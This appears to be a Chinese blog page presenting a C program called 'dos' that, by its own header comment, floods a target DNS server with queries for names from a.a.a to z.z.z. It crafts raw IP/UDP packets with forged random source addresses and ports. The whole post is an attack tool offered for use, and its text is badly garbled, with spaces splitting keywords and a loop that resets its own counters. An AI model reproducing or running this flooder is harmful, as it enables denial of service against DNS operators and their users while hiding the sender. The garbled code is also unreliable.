dos

/*********************向指定IP发送a.a.a到z.z.z的dns查询包,来达到攻击dns服务器的目的运行格式 ./dos dns服务器ip*********************/ #include<arpa/nameser.h> #include"stdio.h" #include"sys/types.h" #include"string.h" #include"sys/socket.h" #include"unistd.h" #include"stdlib.h" #include"netinet/in.h" #include<time.h> #include<netinet/ip.h> #include<netdb.h> #include"arpa/inet.h" struct ipheader //ip hea der{un signed char ip_hl: 4, ip_v:4;//部长度和版本u nsigned char ip_tos; / /服务类型 unsigned sh ort in t ip_len; //长度 unsigne d sho rt int ip _id; //标识unsi gned s hort int ip_off; //片 偏移uns igned cha r ip_ttl; / /生存时间un signed char ip_p; / /协议unsi gned short i nt ip_sum ; //校验unsigned i nt ip_src; //ip报源地址u nsigned int ip_ dst; //目的地};struct udp header //ud p head er {unsigned short int port_ src; / /源端口unsigne d short int po rt_dst; / /目的端口 unsigned sho rt int ud p_len; //udp用户 数据报的长度unsig ned short int udp_su m; //验和};struct dns_msg //send bag {struct ipheader ip; //ip包 头struct udpheader udp; //udp包头HEADER d nshead; //dns包头char dnsbuf[ 100]; //udp数据报 };u_short ch ecksum(u_s hort *addr,int le n)//计算校验和 { u _int32_t sum=0; u_int 16_t *ad= addr,result; whi le(len>1) { sum+=*ad++; //按16比特相加 len-=2 ; } sum=(su m>>16)+(sum& 0xffff); //计算进位sum+=(s um>>16); result=~sum; //取反ret urn(result); }int main( int argc,char **argv) { i nt sockfd ;int ord; int i,j,k,l,m;int num=0;struct sock addr_i n my_addr;struct dns_msg dns_data;//send bags ra nd(time(NULL));if (argc!=2){ printf( "agrc! =2 agrc =attack dst ip \n");exit(0); }if(( sockfd=socket (A F_INET,SOCK_RAW,IPPROTO_RAW ))<0)//创建原始套接字 {prin tf("socket err\n");exit(0); } if(setsoc kopt( sockfd,IPPROTO_IP,IP_HDRINCL,&ord,sizeof(ord))<0)//设置套接字选项 自己填充ip头 { p rintf("se tsocko pt er r");ex it(0); } my_addr.s in_add r.s_a ddr=inet_addr (argv [1]); //从输入参数中取得 工具目标ipmy_addr.sin_family=AF_INET; my_add r.sin_port=htons(5 3);/*连续发包*/ for(i=97;i<123;i+ +)for(j=97;j<123;j+ +)f or(k=97;k<1 23;k++) {i=97;j =97 ;k=97;printf("%d\n",num);num++;bzero(&dns_data,sizeof(struct dns_msg)); //fill ip head dns_data.ip.ip_v=4;dns_data.ip.ip_hl=(sizeof(st ruct ip)/4);dns_data.ip.ip_tos=0;// dns_data.ip.ip_len=sizeof(dns_ data); dns_data.ip.ip_id=random();dns_data.ip .ip_off=0;dns_data.ip.ip_ttl =255;dns _data.i p.ip_p=IPPROTO_UDP;dns_data.ip .ip_ sum=0;dns_data.ip.ip_dst=my_addr.sin_addr.s_addr; dns_data.ip.ip_src= ran dom(); //伪造源ip地址//fill udp headdns_data.udp.port_dst=ht on s(53);dns_data.udp.port_src=htons(1024+(rand() %2 000));//伪造源端口dns_data.udp.udp_len=htons(31);/ /h tons(sizeof(struct dns_msg)-sizeof(struct ip hea der));dns_data.udp.udp_sum=0;//fill dns headdn s_data.dnshead.id=random();dns_data.d nsh ead.rd=0;//不是期望递归,如没有授权回答就返回一个能回答的服务器列表 dns_data.dnshead.ra=1;//可用递归 如果名字服 器支 持递归,则在响应中把它置为1dns_data.dnshead. aa= 0;//为1时授权回答 该名字服务器是授权于该域的 dns_data.dn shead.tc=0; //为1时表示可截断的,当超过512字节时,只返回前512字节 dns_data.dnshead.op code=QUERY;//表示是标准询问包 dns_data.dnshead.q dcount=htons(1);//查询的数 dns_data.dnshead .ancount=htons(0);//回答 dns_data.dnshead. nsc ount=htons(0);//授权 dns_data.dnshead.arcount=htons(0) ;//额外信息dns_data.dnshead.qr=0;//query bag //fill domain query a.a.a的形式 dns_data.dnsbuf[0]=1;dns_data.dnsbuf[1]=i;dns _data.dnsbuf [2]=1;dns_data.dnsbuf[3]=j; dns_data.dnsbuf[4]=1;dns_data.dnsbuf[5]=k; dns_data.dns buf[6]=0;dns_data.dnsbuf[8]= 1; dns_data.dnsbuf[10]=1;d ns_data.dnshead.id=random(); //fill checksumu_ char *pseudo,pseudoHead[44];//伪头部用于计算 udp校 验和bzero(pseudoHead,44);pseudo=pseudoHead;memcpy(pseudo,&(dns_data .ip.ip_src),8);pseudo+=9 ; memcpy(pseudo,&(dns_data.i p.ip_p) ,1); pseudo++; memcpy(pseudo,&(dns_data.udp.udp_len),2);pseudo+=2;memcpy(pseudo,&(dns_data.udp),sizeof(struct udpheader));pseudo+=8;memcpy(pseudo,&(dns_data.dnshead),sizeof(HEADER));pseudo+=12;memcpy(pseudo,&(dns_data.dnsbuf),11);//strlen(dns_data.dnsbuf));dns_data.udp.udp_sum=checksum((u_short *)pseudoHead,44);sendto(sockfd,&dns_data,51,0,(struct sockaddr *)&my_addr,sizeof(struct sockaddr_in));//发送数据包 } }
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值